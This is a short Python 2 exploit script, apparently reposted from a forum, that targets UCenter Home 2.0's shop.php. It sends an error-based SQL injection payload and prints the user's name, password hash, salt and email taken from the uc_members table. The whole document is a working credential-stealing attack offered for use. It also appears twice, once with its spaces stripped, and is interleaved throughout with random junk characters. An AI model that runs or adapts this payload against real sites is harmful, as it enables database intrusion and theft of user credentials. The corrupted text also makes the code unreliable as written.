#!/usr/bin/envpython importsys importurllib2 importre definfo(): print'From:http://www.exploit-db.com/exploits/14997/' print 'http://www.hake.cc/Web_loudong/' print'changed:qiaoy' print'exp:' print'./UCenter_Home_2.0.pysite' defmain(): ifl- y6 J, ]- O( a g- v# u
/ U0 j7 b8 W$ G: @+ G# u
2 h+ p+ l5 \3 |% K( ?#!/usr/bin/env python # j3 p2 d9 e- l) W
" c& O7 ~* i8 t; K' C
import sys U* `3 M$ t r& |0 D* s7 n# l
import urllib2 % `# m# v9 D0 ^. v$ I; x' ~9 H
import re
- _+ T: M& x8 _7 H ( w/ e$ `2 Z. z4 [3 ~* p
def info(): 0 j0 H: p" `9 O0 X1 B8 h% H
print 'From:http://www.exploit-db.com/exploits/14997/' # r1 W$ `+ i+ p7 E2 ~
print 'http://www.hake.cc/Web_loudong/'
3 a" t8 B! w+ P5 g$ q: T print 'changed:qiaoy' - ?% S) i! w8 z5 G- o* o
print 'exp:'
! B- _5 l, z; l print ' ./UCenter_Home_2.0.py site'
7 \" v( \+ Z8 B) L2 k / q, k7 a5 i0 e8 }) |0 m
def main():
) i/ B6 `2 L9 D if len(sys.argv) != 2:
/ y3 T; Q; i3 B+ ^2 E, u1 Q info() ' V4 |; l. f { S6 e7 ^1 m% m- x
else:
+ z) Y! a( e; _+ x, I# Z% n site = sys.argv[1]
1 q @0 |5 n% {8 v1 N% P- v) | if site[0:7] == 'http://': . { O$ r5 `/ [* ?4 ?7 W6 Z Z
sitesite =site
$ V7 O- O: V* r+ O elif site[0:8] == 'https://':
0 V# R9 G0 T% _* S% r sitesite = site 9 _! ]* B9 {) t; u9 p
else:
, k# e) k H) }" @0 z site = 'http://'+site , f+ d+ t/ f* r3 i+ D" i! L
try: ; ]7 b# P6 g" s" G. Y) Z# x
url = site+'/shop.php?ac=view&shopid=50534+and+(select+1+from(select+count(*),concat((select+(select+(select+concat(0x7e,0x27,cast(concat(uid,0x3a,username,0x3a,password,0x3a,salt,0x3a,email)+as+char),0x27,0x7e)+from+ucenter.uc_members+LIMIT+0,1))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+11=1'
0 j: J' |2 P* z, z Value = urllib2.urlopen(url).read() & L$ \# [, C) o1 y$ G# r
Msg = re.findall(r'Duplicate entry \'~\'(.*?)\' for key',Value)[0] + h' {3 |* D8 y6 [" H, C. Q% y* |4 c7 Y
hacked = Msg.split(':') & a* j5 X! S; s- G1 X9 T2 q& O
print 'Name: '+hacked[1]
( B+ P. Y* }' U% a. k print 'Passwd: '+hacked[2]
, M. x" P. \0 p) W& k7 \ print 'salt: '+hacked[3]
" ]( l$ b# e$ u s2 [' t3 M print 'email: '+hacked[4]
/ I5 S& _+ D; i, Q+ X. A" W except:
+ ?, s4 I0 Z6 A. t3 K3 ~5 f. x. Y print 'Sorry,I can\'t work............' 3 C+ h' g e' N+ `9 p! Z. |
7 o& D! i& O* ^, D, ^+ x( Yif __name__ == '__main__':
% \5 V8 K, W9 D ^. ]' K main() |